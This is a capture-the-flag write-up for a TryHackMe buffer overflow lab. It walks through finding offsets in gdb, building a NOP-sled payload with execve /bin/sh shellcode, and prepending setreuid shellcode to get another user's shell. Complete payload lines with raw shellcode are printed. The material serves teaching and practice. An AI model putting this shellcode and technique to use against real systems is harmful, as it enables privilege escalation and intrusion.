Source room:
https://tryhackme.com/room/bof1
This task is just like the Task 8 machine, except with different offsets. Let’s dive right in!
I SSHed into the machine and into the overflow-4
folder. There is another secret.txt file, this time only accessible only by user3.
Looking at the source code, there’s no input validation so this is a good candidate for a buffer overflow. I loaded gdb with the buffer-overflow-2 binary and setup the environment. If you didn’t check out my other writeup on the Task 7 Room, we need to set gdb to match the address offsets used by the host operating system. If we don’t do this, our addresses will be different when we quit gdb and attempt to run the exploit. For more information, check out this tutorial that gives more details.
Now I can start sending input to identify the memory addresses I need. I found the program hung with an input of 155 characters and gave the first segmentation fault at 156 characters:
I found that I was able to completely overwrite the memory address at 169 characters. 170 bytes went too far, indicated by the change in memory address. So my payload size needed to be 169 bytes minus 6 bytes for the memory address = 163 bytes for the payload itself.
I reused the same shellcode from the previous example:
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
It’s 40 bytes long, so I can start to craft the initial payload. The shellcode needs some padding on the start and end to get up to the required 163 bytes. This comes to 100 bytes start padding + 40 bytes shellcode + 23 bytes end padding + 6 bytes return address. When I executed the payload, I found that the address is fully overwritten with six 42 (B characters) as expected.
Now I had to dump the RSP register so I could identify the memory address of my shellcode using this command:
x/55x $rsp-200
This dumps the contents of memory for 55x 4-byte blocks starting 200 bytes before the RSP address. My payload is 169 bytes long and ends at the RSP so I need to start at $rsp-169
minimum. Starting at -200 gives enough padding to comfortably show the entire payload. Because it displays the memory contents in 4-byte blocks, dividing 200 by 4 comes to 50 blocks of data. I like the additional padding to see there’s no truncated characters so I added another 5 blocks onto the end, arriving at x/55x
. Now I can dump my payload from memory and find at what address my shellcode starts at.
The shellcode starts with \x6a
so there’s my starting point. There’s one \x41
in front (remember, it’s little endian so the order is reversed!) so I need to add one to the address, making it 0x7fffffffe2b9
. Reverse the address to account for endianness and writing it in hex gives what I need to replace my ‘B’ with in the payload:
\xB9\xE2\xFF\xFF\xFF\x7F
But sometimes, memory addresses shift by a bit due to circumstances beyond our control. To account for this, it’s better to use a nop for padding. A nop (or no-op, hex \x90
) instructs the processor to do nothing and jump forward until the next valid instruction is found. This way, even if my memory address isn’t spot on, I can point the payload anywhere in the beginning nops and my shellcode will still get executed. The updated payload is now:
run $(python -c "print '\x90'*100 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*23 + '\xB9\xE2\xFF\xFF\xFF\x7F'")
Executing this, I got a shell!
Only one problem: I’m still user1. Coming off Task 8 where this was the case, I was expecting this to happen again. I need to set my real UID to be user3 in order to get a shell with permissions to read flag.txt. I used pwntools again to generate the setreuid()
shellcode I needed:
This belongs at the start of my shellcode, which means I need to calculate my offset again, in addition to modifying my beginning nop buffer. The setreuid()
code is 14 bytes long, so I subtract 14 from my nop buffer count. Executing the program and dumping the memory, I find the new address for the start of my shellcode. The payload now begins with \x31\xFF\x66
and is split across two blocks, so it’s a little more difficult to locate this time:
Since I have nops for my padding, I can just grab the address from the sidebar and insert that into my payload without trying to find the exact address again. The final code comes to be:
$(python -c "print '\x90'*86 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*23 + '\xa8\xe2\xff\xff\xff\x7f'")
Executing it, I get a user3 shell and can view the secret.txt
file.
References: